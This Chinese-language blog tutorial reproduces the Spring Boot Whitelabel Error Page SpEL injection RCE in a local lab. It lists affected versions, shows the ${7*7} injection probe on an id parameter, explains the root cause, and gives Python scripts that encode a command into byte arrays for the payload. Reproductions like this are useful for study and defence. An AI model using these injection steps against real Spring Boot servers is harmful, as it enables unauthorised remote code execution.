spring boot (whitelabel error page SpEL RCE) 漏洞復現
雨筍教育小編來分享乾貨了,近期稽核關係,大家先看為盡,少一篇是一篇了。
利用條件:
- spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
- 至少知道一個觸發 springboot 預設錯誤頁面的介面及引數名
利用方法:
步驟一:找到一個正常傳參處比如發現訪問 /article?id=xxx ,頁面會報狀態碼為 500 的錯誤:Whitelabel Error Page,則後續 payload 都將會在引數 id 處嘗試。
步驟二:執行 SpEL 表示式輸入 /article?id=${7*7},如果發現報錯頁面將 7*7 的值 49 計算出來顯示在報錯頁面上,那麼基本可以確定目標存在 SpEL 表示式注入漏洞。
由字串格式轉換成 0x** java 位元組形式,方便執行任意程式碼:
# coding: utf-8
result = ""
target = 'calc' # 該處寫上要執行的命令,例如calc 彈出計算器
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
以上 python3 指令碼執行後的結果如下:
0x63,0x61,0x6c,0x63
漏洞原理:
- spring boot 處理引數值出錯,流程進入 org.springframework.util.PropertyPlaceholderHelper 類中
- 此時 URL 中的引數值會用 parseStringValue 方法進行遞迴解析
- 其中 ${} 包圍的內容都會被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 類的 resolvePlaceholder 方法當作 SpEL 表示式被解析執行,造成 RCE 漏洞
漏洞環境:
環境搭建:
下載上述漏洞環境專案地址,在本地使用IDEA開啟該專案,maven下載好相應依賴後,執行專案
訪問本地的9091埠
環境搭建成功
漏洞復現:
訪問url
修改id 引數為 ${7*7}
頁面報錯,回顯出7*7的結果,修改為8*8
利用指令碼一:
使用指令碼生成執行 calc 的byte陣列 (hex表示)
# coding: utf-8
result = ""
target = 'calc' # 該處寫上要執行的命令,例如calc 彈出計算器
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
使用payload,系統彈出計算器
利用指令碼二:
使用指令碼生成執行 calc 的byte陣列 (十進位制表示)
# coding: utf-8
result = ""
target = 'calc' # 該處寫上要執行的命令,例如calc 彈出計算器
for x in target:
result += str(ord(x)) + ","
print(result.rstrip(','))
使用payload,系統彈出計算器
參考文章:
https://www.cnblogs.com/litlife/p/10183137.html
*本文章僅供技術交流分享,請勿做未授權違法攻擊,雨筍教育不負任何責任。具體請參考《網路安全法》。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/70006652/viewspace-2792364/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- CVE-2022-22947 Spring Cloud Gateway SPEL RCE復現SpringCloudGateway
- springboot請求controller返回Whitelabel Error PageSpring BootControllerError
- 技術分享 | Fastjson-RCE漏洞復現ASTJSON
- Spring Cloud Function現RCE 0-day漏洞SpringCloudFunction
- 解決SpringBoot頁面localhost 404問題,即Whitelabel Error Page問題Spring BootlocalhostError
- CVE-2022-22947 SpringCloud GateWay SpEL RCESpringGCCloudGateway
- CVE-2021-44228——Log4j2-RCE漏洞復現
- Spring Boot RCE到記憶體馬探索Spring Boot記憶體
- Apache log4j2-RCE 漏洞復現(CVE-2021-44228)Apache
- Joomla 3.4.6 RCE復現及分析OOM
- Pwn2Own Austin 2021 Cisco RV34x RCE 漏洞鏈復現
- NGINX error_pageNginxError
- Error page: / Error infos: DedeCms錯誤警告Error
- CVE-2021-1675遠端RCE復現
- Sunlogin RCE漏洞分析和使用
- spark未授權RCE漏洞Spark
- Apache漏洞復現Apache
- weblogic 漏洞復現Web
- 基於JDK9的Spring核心爆RCE 0-day漏洞 - CyberJDKSpring
- phpStudy poc漏洞復現以及漏洞修復辦法PHP
- RCE漏洞常用的Payload總結
- weblogic ssrf漏洞復現Web
- 笑臉漏洞復現
- Vulhub WebLogic漏洞復現Web
- Tomcat系列漏洞復現Tomcat
- Spring Aop中解析spel表示式,實現更靈活的功能Spring
- 【阿菜漏洞復現】DeFi 平臺 MonoX Finance 漏洞分析及復現MonoNaN
- 最新CS RCE(CVE-2022-39197)復現心得分享
- RCE(遠端程式碼執行漏洞)原理及漏洞利用
- 快速啟動:基於CRaC實現Spring Boot 3恢復預熱Spring Boot
- Spring Boot實現Web SocketSpring BootWeb
- Weblogic-SSRF漏洞復現Web
- 護網漏洞復現(三)
- CVE-2018-1273 Spring Data Commons 遠端命令執行漏洞復現Spring
- 【漏洞復現】Shiro<=1.2.4反序列化漏洞
- SpEL表示式注入漏洞學習和回顯poc研究
- 通過CVE-2021-43297漏洞在Apache Dubbo<=2.7.13下實現RCEApache
- 思科IP電話存嚴重RCE漏洞!